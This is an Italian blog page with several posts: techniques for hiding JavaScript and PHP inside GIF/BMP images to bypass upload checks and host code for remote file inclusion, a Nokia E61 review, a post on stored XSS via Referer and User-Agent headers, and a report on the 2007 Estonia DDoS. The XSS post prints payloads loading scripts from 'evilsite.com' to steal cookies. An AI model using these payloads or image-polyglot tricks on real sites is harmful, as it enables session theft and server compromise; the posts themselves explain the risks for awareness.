Nascondere codice JavaScript all’interno di immagini

Se avete letto il mio precedente post sapete già come sia facile nascondere all’interno di normali immagini codice PHP. Il parser infatti non considera tutti i caratteri che stanno al di fuori dei tag “<?” e “?>”. Anche se questa tecnica non è nuova è interessante l’idea di utilizzare siti di image hosting come base per attacchi RFI.

I più attenti avranno sicuramente pensato che all’interno di immagini è possibile nascondere di tutto, basta pensare a quei semplici programmi di data hiding che accodano dati (di qualunque genere) ad immagini JPEG o GIF.
Partendo da questo presupposto ho iniziato a fare dei test per poter nascondere codice JavaScript all’interno di GIF: in questo caso non basta scrivere il codice all’interno delle immagini senza curarsi dei caratteri “speciali” perchè questi bloccano l’interprete JS all’interno dei browser restituendo “carattere illegale”. A questo punto i maggiori problemi sono due: effettuare l’escape dei caratteri speciali e far considerare, all’interprete JS, i primi 6 byte dell’header GIF come il nome di una variabile.
Per capire meglio vediamo com’è composto l’header di una immagine GIF:

  • 3 bytes “GIF” (in ASCII)
  • 3 bytes “87a” o “89a”
  • 2 bytes Larghezza logica dell’immagine
  • 2 bytes Altezza logica dell’immagine

Un semplice PoC:


Come si può vedere è stata usato “=1″ per rendere GIF89a una variabile e “/*” per commentare tutti i caratteri speciali. I bytes modificati sono quelli relativi alla larghezza e altezza dell’immagine così è molto probabile che dopo le modifiche risultino misure “strane” dell’immagine. Per risparmiare un carattere tentare di limitare la larghezza finale dell’immagine è possibile utilizzare “=/*” come proposto da thornmaker su ha.ckers.org

L’immagine di esempio, riportata sopra, è nato come 2×2 pixel con sfondo nero. La miglior cosa sarebbe creare una GIF con una figura o un disegno al suo interno in modo che i dati sull’effettiva larghezza e altezza siano validi (specifiche GIF89a, paragrafo 20).

Non solo il formato GIF si presta a questo tipo di usi, ma anche quello BMP ci viene incontro in quanto i primi bytes del suo header non contengono caratteri “speciali”:

  • 2 bytes “BM”(in ASCII)
  • 4 bytes grandezza in bytes dell’immagine (solitamente non usato)
  • 2 bytes spazio non utilizzato, ma deve essere impstato a 0

L’unico inconveniente del formato BMP si trova nei servizi di image hosting: nella quasi loro totalità, convertono le immagini BMP in PNG o JPG al momento dell’upload.

 

Nascondere codice PHP all’interno di immagini

Molti servizi di upload “casalingo” utilizzano solo il mime type resituito dalla funzione getimagesize() per controllare se un file è tra quelli consentiti in upload. In base a questo concetto si è arrivati alla conclusione che iniettando all’interno di un’immagine GIF codice PHP e rinominando poi il file in .php si riesce comunque ad effettuare l’upload perchè il mime type rimane inalterato in image/gif.
In questo modo una volta salvato il file sul server, senza averne cambiato l’estensione e potendolo raggiungere direttamente, sarà possibile eseguire il codice inserito all’interno dello stesso.

Ovviamente la cosa si è diffusa in rete e c’è chi ha scritto pure un documento sull’argomento, non mi sono soffermato più di tanto sugli esempi ma devo dire che può essere utile per capire quali sono i problemi derivanti da un sistema di upload pubblico.

Nell’esempio di RSnake il codice PHP viene messo in parti più o meno casuali dell’immagine GIF e vengono usati i commenti “/*” e “*/” perchè ci sono stati problemi di parsing con i dati binari che compongono l’immagine stessa. Personalmente ho creato una semplice immagine GIF di 1×1 pixel, in formato GIF89a il quale permette l’uso dei metadati, e ho salvato dentro ad essa un commento che altro non era che del codice PHP:Hide PHP code into GIF image
A questo punto ho rinominato il file in .php ed ho provato a far effettuare il parsing a mod_php sia in versione 4 che 5 e non c’è stato nessun problema. L’unico inconveniente, se così si vuole chiamare è che il parser riconosce solo il codice all’interno di “<?php ?>” quindi tutti i caratteri ASCII che compongono l’immagine saranno mandati direttamente in output:

PHP code into GIF image

Se il file GIF rinominato .php viene eseguito senza problemi dal parser PHP vuol dire che se cerco di includere l’immagine originale, con il commento che contiene codice PHP, tramite include() o require() questo verrà eseguito: si possono, quindi, usare file di immagine (GIF, PNG e JPEG) per eseguire codice tramite RFI (Remote File Inclusion). A questo punto un qualsiasi servizio di image hosting come ImageShack, Flickr, Zooomr e tanti altri può trasformarsi inconsapevolmente in un hoster di codice per RFI.
Come già detto, per ospitare codice PHP in una immagine, è possibile utilizzare, oltre al formato GIF, anche JPEG e PNG. Per farlo sarà necessario solamente utilizzare i metadati previsti dai due formati.

 

Nokia E61, le mie impressioni

Da qualche mese posseggo un Nokia E61, uno smartphone con tastiera qwerty e sistema operativo Symbian 60 terza versione.
Non si tratta di un modello recente; è uscito da qualche settimana il fratello maggiore migliorato nella tastiera e nelle dimensioni.
Seppur lo smartphone sia uscito sul mercato un anno fa circa può vantare ottime caratteristiche: connettività per reti UMTS, EDGE, GSM e WiFi. In più, per connessioni a corto raggio, comprende Bluetooth e Infrarossi.
Lo schermo, a 16 milioni di colori, ha una risoluzione di 320×240 pixel che risultano ottimi durante la navigazione Web e la lettura di SMS o e-mail.
Dal lato software il telefono è ben dotato, basandosi su Symbian s60 v3, ha un ottima stabilità e una serie di applicativi fondamentali per l’ufficio: lettore di documenti di Microsoft Office.

Il client e-mail è integrato nel telefono ed è richiamabile tramite l’apposito tasto posizionato alla destra del joystick. E’ possibile configurare più di un account scegliendo tra i due protocolli messi a disposizione: IMAP4 e POP3. Ognuno di essi avrà un proprio server SMTP “personale” da utilizzare per spedire le e-mail.
Per ogni account è possibile scegliere se rimanere connessi, modalità “Always-on”, oppure connettersi solo su richiesta, modalità “On-demand”.
Avendo anche connettività Wi-Fi è molto probabile che ci si trovi ad inviare e-mail da reti di provider (ISP) diversi. Una cosa molto comoda è la possibilità di impostare un diverso server SMTP per ogni punto di accesso diverso.
Tutto questo è fattibile tramite i gruppi di punti di accesso, ovvero una lista di punti di accesso ordinabili per priorità di connessione. Una volta creato un gruppo e aggiunti i punti di accesso preferiti il server STMP può essere personalizzato in questo modo: Menù->Impostazioni->Connessioni->Gruppi di punti di accesso->Nome del vostro gruppo->Punti di accesso->selezionare un punto di accesso desiderato->Opzioni->Impostazioni SMTP. A questo punto sarà necessario immettere i dati del vostro server SMTP per il punto di accesso corrente. L’opzione “Sovrascrivi server SMTP” dovrà essere settata su “Si”.

Il browser Web integrato, basato su WebKit, mette a disposizione caratteristiche tipo lo zoom in e zoom out, una panoramica nel caso la pagina visualizzata non entri nelle dimensioni dello schermo, slideshow per muoversi tra le pagine visitate, ecc..

Panoramica della zona visualizzataSlideshow sulle pagine visitate
Altro punto forte di questo smartphone è il client VoIP. Esso rende trasparente l’utilizzo del VoIP (tramite protocollo SIP) sia in entrata che in uscita. Possono essere configurati più account contemporaneamente ed è possibile scegliere se tenere sempre attiva la registrazione al server SIP, attivarla al momento di una “chiamata Internet” in uscita oppure attivarla manualmente tramite Menu->Connessioni->Telefonia Internet.
Benché sia possibile usare un punto di accesso UMTS o GSM per un account SIP, ne sconsiglio l’utilizzo perché non è possibile scegliere il codec audio da utilizzare durante la chiamata. Sembra che l’unica maniera di personalizzare il codec sia utilizzare un (in verità sono 6) SMS autoconfigurante, in Italia fornito solo da Noverca per il momento.
C’è da far notare come il client VoIP funzioni dall’interno di una rete LAN, con indirizzamento di classe privata, solo dalla versione 3.0633.09.04 del firmware, grazie all’implementazione del NAT traversal.
Infine mi sento di dare un voto positivo anche alla durata della batteria, 3 giorni facendo chiamate per un totale di circa 3/4 ore, utilizzando il client di posta e il Web browser in modalità Wi-Fi e UMTS.

Per chi volesse aumentare le funzionalità dello smartphone i software che consiglio sono:

Per chi volesse utilizzare la tecnologia di e-mail push può installare l’estenzione per Blackberry che permette la sincronizzazione dei messaggi, della rubrica e degli appuntamenti. Stesse funzionalità, ma per piattaforma Microsoft Exchange, sono date dall’estensione “Mail for Exchange“.

Attenzione perchè non è tutto ora quello che luccica. Il telefono ha (ovviamente) alcune pecche.
La forma e la tastiera qwerty non ne permettono un uso agevole con una sola mano. La totale assenza di fotocamere, che personalmente non mi ha pesato, potrebbe non andare a genio ad alcune persone.
Anche se in linea con altri smartphone, il peso non è il suo forte: circa 140 grammi, .

Passando al software, mi sono accorto che se si ha attiva l’opzione “chiedi sempre” nell’impostazione del punto di accesso predefinito del Web browser cambiando SIM, tale opzione viene sovra scritta da un punto di accesso UMTS/GSM. In più il client integrato per la lettura di FEED (RSS o Atom) non utilizza correttamente le impostazioni del punto di accesso del Web Browser se quest’ultimo è impostato su “Chiedi sempre”.
Un altro bug veramente fastidioso è presente sul Web Browser: se la pagina che stiamo tentando di aprire, completa di tutti i suoi contenuti, risulta essere grande in termini di allocazione della memoria il browser va in crash chiudendosi.
Nella traduzione italiana del menù il lettore di FEED è stato chiamato “LinkWeb”, assurdo!
Il Nokia E61 si dimostra un ottimo smartphone con funzionalità di tutto rispetto anche dopo un anno dal suo lancio. Tengo a segnalare inoltre che è uscito da poco il fratello maggiore: il Nokia E61i con dimensioni più ridotte e una fotocamera posteriore da 2 MPixel.

ps: è probabile che il nome di menù o voci che ho riportato non siano esatte in quanto utilizzo la lingua inglese come predefinita.

 

Questione di Referer e User-Agent

Al momento di una richiesta HTTP (più nello specifico HTTP/1.1) il browser invia al Web server di destinazione varie informazioni tramite gli header tra cui “Referer” e “User-agent” che servono, rispettivamente, per dichiarare quale URI ha portato a quella specifica risorsa e per dichiarare il nome e la versione del browser Web utilizzato.
Questo genere di dettagli è ad esempio molto utilizzato per gestire campagne di marketing mirato al visitatore. Molti software per statistiche Web collezionano l’header “Referer” per stilare classifiche sui siti Web che “inviano” più visitatori.
Ecco una tipica richiesta HTTP/1.1:

GET http://www.ansa.it/ HTTP/1.1
Host:www.ansa.it
User-Agent:Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4
Accept:text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language:it,it-it;q=0.8,en;q=0.5,en-us;q=0.3
Accept-Encoding:gzip,deflate
Accept-Charset:ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive:300
Proxy-Connection:keep-alive
Referer:http://www.google.it/search?hl=it&q=ansa&btnG=Cerca+con+Google&meta=

Essendo header generati dal browser o più in generale dall’utente essi possono essere modificati a piacimento.
Se vi fosse un software di statistiche che colleziona “User-Agent” e “Referer” salvandoli in un database sarebbe semplice creare XSS (Cross-site scripting) permanenti. Solitamente le statistiche vengono consultate in aree ad accesso limitato, in una applicazione che non effettua i dovuti controlli e codifiche un Referer di questo tipo potrebbe risultare veramente pericoloso:

http://www.anybadsite.com/?”><script/src=”http://evilsite.com/xss.js”></script><style=”

In questo modo un attacker potrebbe eseguire qualsiasi istruzione JS all’interno dell’area riservata dove vengono consultate le statistiche senza che la vittima se ne accorga. Gli utilizzi più interessanti vanno dal furto del token di autenticazione contenuto nel cookie all’Intranet Hacking.
Oltre all’utilizzo di XSS diretti, l’header “Referer” potrebbe essere modificato ad arte per dirottare la vittima su un qualsiasi sito esterno, vulnerabile ad XSS:

http://www.victimbank.com/home.asp?fuzzy=mybankxyxyxyx&page=<script/src=http://evilsite.com/stealcookie.js></script>

Questi sono solo esempi basati sull’header “Referer” ma tutto è riproducibile su “User-Agent” e tutti quegli header che una applicazione Web utilizza ma non valida in maniera opportuna.

Ho effettuato dei test navigando con un “User-Agent” modificato ad arte e mi sono accorto come molte volte il codice JS iniettato dentro ad esso venga eseguito. Ciò vuol dire che circa il 70% delle applicazioni che ne fanno uso prendono per buono direttamente l’user-input.

I webmaster e i webdeveloper dovrebbero prendere coscienza che tutto l’user-input come cookie, user-agent, referer, Accept-Charset, Accept-Language, ecc.. dovrebbe essere sempre validato e codificato nel migliore dei modi.

 

Scontri informatici tra Estonia e Russia

Avevo letto la notizia qualche giorno fa senza dargli peso, oggi passandomi tra le mani un approfondimento ho capito che merita parlarne.

Tutto è iniziato a causa dello spostamento di una statua eretta alla fine della seconda Guerra Mondiale in memoria dei soldati dell’Armata rossa caduti nella liberazione dell’Estonia dall’invasione nazista. La repubblica estone perse la propria indipendenza per mano sovietica nel 1939 in seguito del Patto Molotov-Ribbentrop, riguadagnandola solo nel 1991. La rimozione della statua, dettata da una legge del 2006 contro la pubblica esibizione di monumenti rappresentanti l’occupazione sovietica, ha causato l’indignazione della minoranza russa in Estonia e del senato Russo e successivamente un attacco DDoS su larga scala.

L’attacco informatico iniziato il 27 Aprile scorso, ha preso di mira, come spiegato da Hillar Aarelaid del CERT Estone, siti Web di banche, scuole e quello del primo ministro causando non pochi danni all’interno della nazione.
Secondo Jose Nazario, l’attacco DDoS è stato fatto tramite tre diverse tecniche: ICMP floods, TCP SYN floods e floods tramite richieste generiche. Sembra che tra le sorgenti di attacco (presumibilmente una botnet) vi sia oltre a Brasile, Canada, U.S. e Vietnam anche la Russia.
In un primo momento era stato puntanto il dito contro il governo Russo, ma più approfondite analisi hanno portato a pensare che vi fossero “semplici” cittadini (nazionalisti) dietro gli attacchi. Fatto sta che il CERT Estone riceverà l’aiuto niente meno che dalla NATO (North Atlantic Treaty Organization, tengo a sottolineare). Lo scopo dell’organizzazione internazionale, nata da una temuta invasione sovietica dell’Europa occidentale, è riassunto in maniera esaustiva nell’articolo 5 del Trattato Atlantico:

Le parti convengono che un attacco armato contro una o più di esse in Europa o nell’America settentrionale sarà considerato come un attacco diretto contro tutte le parti, e di conseguenza convengono che se un tale attacco si producesse, ciascuna di esse, nell’esercizio del diritto di legittima difesa, individuale o collettiva, riconosciuto dall’ari. 51 dello Statuto delle Nazioni Unite, assisterà la parte o le parti così attaccate intraprendendo immediatamente, individualmente e di concerto con le altre parti, l’azione che giudicherà necessaria, ivi compreso l’uso della forza armata, per ristabilire e mantenere la sicurezza nella regione dell’Atlantico settentrionale. Ogni attacco armato di questo genere e tutte le misure prese in conseguenza di esso saranno immediatamente portate a conoscenza del Consiglio di Sicurezza. Queste misure termineranno allorché il Consiglio di Sicurezza avrà preso le misure necessarie per ristabilire e mantenere la pace e la sicurezza internazionali.

Siamo di fronte ad un pezzo di storia?